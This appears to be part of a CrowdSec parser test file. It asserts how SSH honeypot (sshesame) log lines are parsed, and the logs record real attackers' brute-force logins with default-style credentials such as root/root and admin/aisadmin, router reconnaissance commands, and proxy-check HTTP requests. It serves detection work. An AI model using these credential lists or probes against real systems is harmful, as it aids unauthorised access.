results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["source_ip"] == "202.153.33.62" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["target_user"] == "ubnt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["timestamp"] == "2022-05-06T10:44:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Meta["username"] == "ubnt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][60].Evt.Enriched["MarshaledTime"] == "2022-05-06T10:44:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Parsed["message"] == "2022/05/06 11:06:40 [190.2.139.67:7117] [channel 136] input: \"GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Parsed["sshesame_input"] == "GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Parsed["timestamp"] == "2022/05/06 11:06:40" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["timestamp"] == "2022-05-06T11:06:40Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["input"] == "GET /?requestid=3381 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][61].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:06:40Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39240] authentication for user \"root\" with password \"Subby123123\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Parsed["source_ip"] == "65.108.254.29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Parsed["sshesame_password"] == "Subby123123" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Parsed["timestamp"] == "2022/05/06 11:44:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["source_ip"] == "65.108.254.29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["timestamp"] == "2022-05-06T11:44:51Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][62].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:44:51Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Parsed["source_ip"] == "65.108.254.29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Parsed["timestamp"] == "2022/05/06 11:44:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Parsed["message"] == "2022/05/06 11:44:51 [65.108.254.29:39858] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["source_ip"] == "65.108.254.29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["timestamp"] == "2022-05-06T11:44:51Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][63].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:44:51Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Parsed["sshesame_input"] == "GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Parsed["timestamp"] == "2022/05/06 11:44:56" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Parsed["message"] == "2022/05/06 11:44:56 [190.2.139.67:58629] [channel 140] input: \"GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["input"] == "GET /?requestid=54995 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["timestamp"] == "2022-05-06T11:44:56Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][64].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:44:56Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Parsed["source_ip"] == "217.95.152.37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Parsed["sshesame_password"] == "sales123" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Parsed["sshesame_user"] == "sales" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Parsed["timestamp"] == "2022/05/06 11:47:01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Parsed["message"] == "2022/05/06 11:47:01 [217.95.152.37:62602] authentication for user \"sales\" with password \"sales123\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["target_user"] == "sales" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["timestamp"] == "2022-05-06T11:47:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["username"] == "sales" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Meta["source_ip"] == "217.95.152.37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][65].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:47:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Parsed["timestamp"] == "2022/05/06 11:47:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Parsed["message"] == "2022/05/06 11:47:02 [217.95.152.37:33514] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Parsed["source_ip"] == "217.95.152.37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["source_ip"] == "217.95.152.37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["timestamp"] == "2022-05-06T11:47:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][66].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:47:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Parsed["timestamp"] == "2022/05/06 11:53:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Parsed["message"] == "2022/05/06 11:53:48 [45.82.65.44:42736] [channel 29] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["timestamp"] == "2022-05-06T11:53:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][67].Evt.Enriched["MarshaledTime"] == "2022-05-06T11:53:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Parsed["message"] == "2022/05/06 12:11:39 [190.2.139.67:7117] [channel 138] input: \"GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Parsed["sshesame_input"] == "GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Parsed["timestamp"] == "2022/05/06 12:11:39" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["input"] == "GET /?requestid=13796 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["timestamp"] == "2022-05-06T12:11:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][68].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:11:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Parsed["source_ip"] == "188.255.62.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Parsed["sshesame_password"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Parsed["timestamp"] == "2022/05/06 12:25:39" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] authentication for user \"root\" with password \"root\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["source_ip"] == "188.255.62.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["timestamp"] == "2022-05-06T12:25:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][69].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:25:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Parsed["source_ip"] == "188.255.62.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Parsed["sshesame_cmd"] == "/ip cloud print" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Parsed["timestamp"] == "2022/05/06 12:25:39" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 0] command \"/ip cloud print\" requested" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["source_ip"] == "188.255.62.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["timestamp"] == "2022-05-06T12:25:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["command"] == "/ip cloud print" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["log_type"] == "sshesame_cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][70].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:25:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Parsed["source_ip"] == "188.255.62.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Parsed["sshesame_cmd"] == "ifconfig" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Parsed["timestamp"] == "2022/05/06 12:25:39" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Parsed["message"] == "2022/05/06 12:25:39 [188.255.62.33:48649] [channel 1] command \"ifconfig\" requested" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["log_type"] == "sshesame_cmd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["source_ip"] == "188.255.62.33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["timestamp"] == "2022-05-06T12:25:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["command"] == "ifconfig" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][71].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:25:39Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Parsed["message"] == "2022/05/06 12:33:29 [154.86.27.24:33448] authentication for user \"sam\" with password \"12345678\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Parsed["source_ip"] == "154.86.27.24" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Parsed["sshesame_password"] == "12345678" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Parsed["sshesame_user"] == "sam" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Parsed["timestamp"] == "2022/05/06 12:33:29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["timestamp"] == "2022-05-06T12:33:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["username"] == "sam" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["source_ip"] == "154.86.27.24" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Meta["target_user"] == "sam" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][72].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:33:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Parsed["message"] == "2022/05/06 12:33:31 [154.86.27.24:34072] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Parsed["source_ip"] == "154.86.27.24" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Parsed["timestamp"] == "2022/05/06 12:33:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["source_ip"] == "154.86.27.24" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["timestamp"] == "2022-05-06T12:33:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][73].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:33:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Parsed["sshesame_password"] == "aisadmin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Parsed["timestamp"] == "2022/05/06 12:39:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["timestamp"] == "2022-05-06T12:39:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][74].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:39:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Parsed["timestamp"] == "2022/05/06 12:39:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["timestamp"] == "2022-05-06T12:39:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][75].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:39:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Parsed["timestamp"] == "2022/05/06 12:39:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Parsed["message"] == "2022/05/06 12:39:33 [195.3.147.60:9217] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["service"] == "sshesame" 